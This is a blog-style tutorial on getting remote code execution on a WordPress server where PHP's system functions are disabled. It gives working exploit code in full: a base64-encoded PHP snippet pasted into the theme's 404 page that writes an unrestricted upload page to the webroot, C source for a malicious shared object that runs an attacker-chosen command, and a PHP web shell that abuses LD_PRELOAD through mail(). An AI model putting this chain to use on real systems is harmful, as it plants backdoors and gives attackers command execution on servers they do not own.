The Project

Be My Guide

In order to follow this you'll need an administrator account on a Wordpress application.

Check out https://github.com/giovannichhatta/Disable_functions-bypass for all the files I use in this post.

The Source

Let's check out what functions are allowed to use by uploading phpinfo() to the 404 page of the TwentyTwenty theme.

I have written a script that will automate it for you which can be found here.

Upon observing the phpinfo() page we noticed that common functions such as system() and exec are disabled.

This is a problem since this will prevent us from getting remote code execution, or does it?

This Is Madness

Wordpress has a built-in security check when uploading files. It determines the filetype and will then check if the filetype is allowed. If that's the case the file get uploaded, if not, the file will get rejected. php file file gets rejected

Break the game

Luckily for us, we are able to create our own upload file without any restrictions! Grab an abritary page (in my case 404.php) from the page editor and paste the following snippet:

<?php
$encodedPage = base64_decode("PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICA8dGl0bGU+VXBsb2FkIHlvdXIgZmlsZXM8L3RpdGxlPgo8L2hlYWQ+Cjxib2R5PgogIDxmb3JtIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIGFjdGlvbj0iIiBtZXRob2Q9IlBPU1QiPgogICAgPHA+VXBsb2FkIHlvdXIgZmlsZTwvcD4KICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJ1cGxvYWRlZF9maWxlIj48L2lucHV0PjxiciAvPgogICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlVwbG9hZCI+PC9pbnB1dD4KICA8L2Zvcm0+CjwvYm9keT4KPC9odG1sPgo8P1BIUAogIGlmKCFlbXB0eSgkX0ZJTEVTWyd1cGxvYWRlZF9maWxlJ10pKQogIHsKICAgICRwYXRoID0gIi4vIjsKICAgICRwYXRoID0gJHBhdGggLiBiYXNlbmFtZSggJF9GSUxFU1sndXBsb2FkZWRfZmlsZSddWyduYW1lJ10pOwoKICAgIGlmKG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWyd1cGxvYWRlZF9maWxlJ11bJ3RtcF9uYW1lJ10sICRwYXRoKSkgewogICAgICBlY2hvICJUaGUgZmlsZSAiLiAgYmFzZW5hbWUoICRfRklMRVNbJ3VwbG9hZGVkX2ZpbGUnXVsnbmFtZSddKS4gCiAgICAgICIgaGFzIGJlZW4gdXBsb2FkZWQiOwogICAgfSBlbHNlewogICAgICAgIGVjaG8gIlRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgdGhlIGZpbGUsIHBsZWFzZSB0cnkgYWdhaW4hIjsKICAgIH0KICB9Cj8+");

$file = fopen("../../../upload.php","w");
fwrite($file, $encodedPage);
fclose($file);
echo 1;
?>

This file will upload a new upload page on the WordPress webroot.

Now that the 404 page is overwritten we could navigate to a non-existing page. Because this page does not exist we will get redirected to the 404 page.

This confirms that our upload page got created. let's take a look at it.

As we can see we got presented with our custom upload page. Let's try to upload a PHP file.

Success! We are able to upload any filetype.

But, we're still not able to run common system functions in PHP, so how are we going to achieve remote code execution?

The solution

Shared objects (!)

Just as Windows does Linux use dynamic link libraries, but then it's called shared objects. And just as in Windows it's possible to hijack them. We're going to overwrite the environement variable LD_PRELOAD which according to its manual page contains the following:

A list of additional, user-specified, ELF shared objects to be loaded before all others.

That means we can decide what library a binary would use.

Let's create one. First I'll make a simple C program (which I borrowd from here. Liked this one in particular since it uses a constructor).

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void angel (void){
    unsetenv("LD_PRELOAD");
    const char* cmd = getenv("CMD");
    system(cmd);
}

This will execute the value of an arbritary environment variable, in my case that will be CMD. Compile it using gcc -shared -fPIC evil.c -o evil.so and upload it using our upload page.

Now we only have to create a PHP script that will set both the LD_PRELOAD and CMD environment variable and upload it.

<?php
echo "Source: <BR>";
show_source(__FILE__);
echo "<HR>";
if(isset($_GET['cmd']) && isset($_GET['sharedObject']) ){
 $cmd = $_GET['cmd'];
 echo "Executing $cmd..";
 putenv("CMD=$cmd");
 $sharedObject = $_GET['sharedObject'];
 putenv("LD_PRELOAD=$sharedObject");
 mail('g','i','o','o');
}
?>

The reason why this should work is because the function mail() is calling /usr/bin/sendmail under water.

Everything is good to go. We now have to navigate to our shell and specify the path of our shared library and the command we want to execute.

Notes

Just to be clear: Around 80% was my own research. It was until I needed a constructor for the shared object that I stumbled upon the blog post of 1pwnch.